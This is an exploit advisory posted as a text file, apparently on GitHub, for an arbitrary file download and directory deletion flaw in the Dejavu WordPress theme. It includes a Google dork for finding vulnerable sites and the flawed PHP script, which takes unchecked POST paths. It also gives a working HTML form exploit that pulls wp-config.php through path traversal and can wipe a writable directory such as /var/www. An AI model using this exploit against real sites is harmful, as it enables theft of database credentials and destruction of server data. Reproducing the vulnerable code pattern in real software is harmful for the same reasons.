-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dejavu Wordpress Theme.txt
78 lines (64 loc) · 2.99 KB
/
Dejavu Wordpress Theme.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
######################################################################################
# Exploit Title : Dejavu Wordpress Theme - Arbitrary File Download & File Deletion Exploit
# Google Dork : inurl:"/wp-content/themes/dejavu/"
# Date : 04-07-2014
# Exploit Author : CaFc Versace
# Tested on : Windows 7
# Contact : cafc.versace[@]surabayablackhat.org
#######################################################################################
Details:
-------------------------------------------------------------------------------------
The vulnerable file is located at http://localhost/wp-content/themes/dejavu/lib/scripts/dl-skin.php
In exploit code, file name in first text box should be readable on the vulnerable server,
then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path.
If it is writeable then vulnerable code will delete its contents.
An attacker can download readable files from the server and also can delete contents of writeable directories.
-------------------------------------------------------------------------------------
Vulnerable code:
-------------------------------------------------------------------------------------
<?php
$file = $_POST['_mysite_download_skin'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
rrmdir($_POST['_mysite_delete_skin_zip']);
exit;
}
function rrmdir($dir) {
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
}
}
reset($objects);
rmdir($dir);
}
}
?>
-------------------------------------------------------------------------------------
Exploit code:
-------------------------------------------------------------------------------------
<html>
<body>
<form action="http://victim/wp-content/themes/dejavu/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="../../../../../wp-config.php"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="" placeholder="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>
-------------------------------------------------------------------------------------
Credits: Surabaya BlackHat
Thanks : Agency CaFc
./learn to be better